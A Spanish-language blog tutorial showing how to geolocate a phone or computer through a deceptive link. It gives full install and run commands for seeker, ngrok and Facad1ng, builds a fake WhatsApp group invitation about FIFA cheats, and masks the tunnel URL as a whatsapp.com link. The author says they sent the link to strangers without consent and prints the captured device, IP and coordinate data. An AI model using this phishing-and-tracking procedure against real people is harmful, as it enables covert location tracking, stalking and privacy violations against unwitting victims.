En entradas anteriores vimos cómo acceder a los archivos de un teléfono Android (de forma remota) y cómo tomar el control de su cámara. En esta entrada mostraré lo fácil que es geolocalizar un teléfono (o cualquier equipo que pueda seguir links) utilizando solo un enlace creíble. Sin más introducción vamos a ello.
Herramientas.
Para geolocalizar un teléfono (o cualquier equipo con el cual se pueda pinchar un link) vamos a necesitar 3 herramientas: seeker, un programa escrito en Python con el cual crearemos el enlace y el sitio que capturará la localización del visitante; ngrok, un servicio que nos permite crear un túnel que conecta nuestro servidor local con el exterior y Facad1ng, un script que nos permite cambiar la URL que nos da ngrok por una más creíble. Estas herramientas las instalaré en un sistema Kali Linux.
Seeker.
Para instalar seeker vamos a su repo en Github y clonamos la herramienta en nuestro equipo. Solo deben seguir los siguientes pasos en orden:
git clone https://github.com/thewhiteh4t/seeker.git cd seeker/ chmod +x install.sh ./install.sh
Eso es todo. Ahora vamos con ngrok.
Ngrok.
Para instalar ngrok iremos a su sitio web y creamos una cuenta. La vamos a necesitar para poder tener un token de autenticación. Después, vamos a la zona de descargas y elegimos nuestro sistema operativo. En mi caso GNU/Linux. Para mi SO hay varias formas de obtener el programa: bajar el comprimido, con curl / apt y con Snap. Yo usé curl / apt de la siguiente forma:
curl -sSL https://ngrok-agent.s3.amazonaws.com/ngrok.asc | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null && echo "deb https://ngrok-agent.s3.amazonaws.com buster main" | sudo tee /etc/apt/sources.list.d/ngrok.list && sudo apt update && sudo apt install ngrok
Con ngrok instalado voy a mi perfil en su página y en el menú de la izquierda busco Your authtoken. Copio el string que me da la página, voy a la terminal y escribo el siguiente comando:
ngrok config add-authtoken AQUÍ-SU-TOKEN
En la terminal me saldrá que ahora estamos autenticados. Solo nos falta instalar Facad1ng.
Facad1ng.
Para instalar Facad1ng vamos a su repositorio en Github y clonamos la herramienta. Al igual que con las anteriores, solo debe seguir los siguientes pasos en orden:
git clone https://github.com/spyboy-productions/Facad1ng.git cd Facad1ng pip3 install -r requirements.txt
Si todo sale bien ya podremos escribir el comando python3 facad1ng.py
y se abrirá el programa mostrándonos sus opciones.
Y eso es todo. Ya tenemos lo necesario para geolocalizar un teléfono o cualquier equipo que tenga un navegador. Vamos ahora sí a lanzar el ataque.
Paso 1: Crear el link y el sitio maliciosos.
Seeker nos permite usar plantillas preconstruídas o construir nuestros propios temas. Yo usaré la plantilla de invitación a grupos de Whatsapp. También tenemos temas para NearYou, Telegram, Google Drive y otros. Elijo la plantilla de grupos de Whatsapp y sigo los pasos.
Para el ejercicio creé un grupo de trucos del videojuego Fifa. El programa me permite ponerle la imagen de perfil que yo quiera para hacerlo más creíble. Dependiendo de a quién queramos localizar usaremos el tema que pueda ser de su interés.
Cuando hayamos configurado el tema, seeker nos dirá que está iniciando un servidor PHP en el puerto 8080. Por ahora dejamos esto así y nos vamos a lo siguiente.
Paso 2: Abrir el túnel con ngrok.
Ahora, en otra ventana de terminal, vamos a abrir el túnel con ngrok. Lo haremos usando el mismo puerto que usó seeker, es decir, el 8080. El comando a usar será: ./ngrok http 8080
. En mi caso la respuesta fue:
Session Status: online Account: Karniv (Plan: Free) Version: 3.18.0 Region: United States (us) Latency: 116ms Web Interface: http://127.0.0.1:4040 Forwarding: https://bcb4-2800-e2-4d60-84c-00-13.ngrok-free.app -> http://localhost:8080
Si vamos al link que nos dice en Forwarding veremos que ya está todo listo. Sin embargo, ese link no es creíble. Por eso necesitamos mejorarlo con Facad1ng.
Paso 3: Maquillando el enlace.
En otra ventana de terminal abrimos Facad1ng con el comando: python3 facad1ng.py
. La herramienta es interactiva y nos pedirá el enlace original. Le pasamos el link que ngrok nos dio en Forwarding. Ahora la herramienta nos preguntará las palabras clave. En mi caso serán trucos-fifa. Acto seguido nos pedirá que le demos un dominio para crear el enlace creíble. Yo le doy el dominio whatsapp.com y ahora Facad1ng nos dará varias opciones de enlaces personalizados. En mi caso usaré el link:
https://[email protected]/24lo9ro8
El link se ve bien. Tiene https, es whatsapp.com y dice trucos fifa como se llama el grupo falso de Whatsapp que creé. Ya tengo todo lo que necesito para geolocalizar un teléfono (o cualquier cosa que pueda visitar páginas).
Lanzar el ataque.
Lanzar el ataque es simplemente enviar el link creíble a la/s persona/s que queremos localizar. Esto puede ser por email, por redes sociales o por servicios de mensajería. Es importante aclarar que no podemos cerrar nuestras terminales o el enlace quedará inservible.
Disclaimer: el enlace lo envié a varios contactos que saqué de Internet. No los conozco, no tengo ningún interés personal y/o comercial en esas personas o empresas. Una vez probé el funcionamiento de las herramientas cerré las terminales, el rastreo se cortó y nadie fue perjudicado de ninguna manera 😉
Lancé el ataque por Whatsapp desde una cuenta que uso para pruebas y, para mi sorpresa, varias personas aceptaron la invitación al grupo de Trucos Fifa. A continuación pondré el resultado obtenido en un par de ellas. He modificado los datos más sensibles para respetar la privacidad de los involucrados.
[!] Device Information : [+] OS : Win64 [+] Platform : Win32 [+] CPU Cores : 8 [+] RAM : 8 [+] GPU Vendor : Google Inc. (NVIDIA) [+] GPU : ANGLE (NVIDIA, NVIDIA GeForce 210 (0x00000A65) Direct3D11 vs_4_1 ps_4_1, D3D11) [+] Resolution : 1920x1080 [+] Browser : Chrome/130.0.0.0 [+] Public IP : 181.XX.XX.XXX [!] IP Information : [+] Continent : South America [+] Country : Colombia [+] Region : Santander [+] City : Floridablanca [+] Org : Telmex Colombia S.A. [+] ISP : Telmex Colombia S.A. [!] Location Information : [+] Latitude : 7.092262 deg [+] Longitude : -73.189408 deg
El post se llama Geolocalizar un teléfono porque esa era la intención inicial. Empero, como el enlace se envió por Whatsapp, una de las personas abrió la invitación desde la aplicación de escritorio. Por eso los datos obtenidos corresponden a un equipo con Windows (qué horror). Otro usuario lo abrió desde su equipo con Android como se ve en la siguiente salida:
[!] Device Information :
[+] OS : Android 8.1.0
[+] Platform : Linux armv8l
[+] CPU Cores : 8
[+] RAM : 2
[+] GPU Vendor : ARM
[+] GPU : Mali-T830
[+] Resolution : 360x640
[+] Browser : Chrome/106.0.5249.126
[+] Public IP : 2xx0:e2:6xx0:85c:6xxb:9xx6:cxx0:9xxd
Seeker también nos arroja un enlace de Google Maps con la ubicación aproximada del equipo desde donde abrieron nuestro enlace. La anterior imagen corresponde a la ubicación del equipo de escritorio que mencioné primero.
Después hice lo mismo con dos de mis equipos de pruebas: un iPhone y un Android y de ambos obtuve su ubicación con una precisión asombrosa. Sin duda, son herramientas muy útiles para nuestras investigaciones. Espero les saquen provecho. Hasta la próxima.
Nota: modifiqué algunos datos como las direcciones IP y las coordenadas para respetar la privacidad de los sujetos de estudio. No sería ético exponer los datos tal cual fueron arrojados por la herramienta.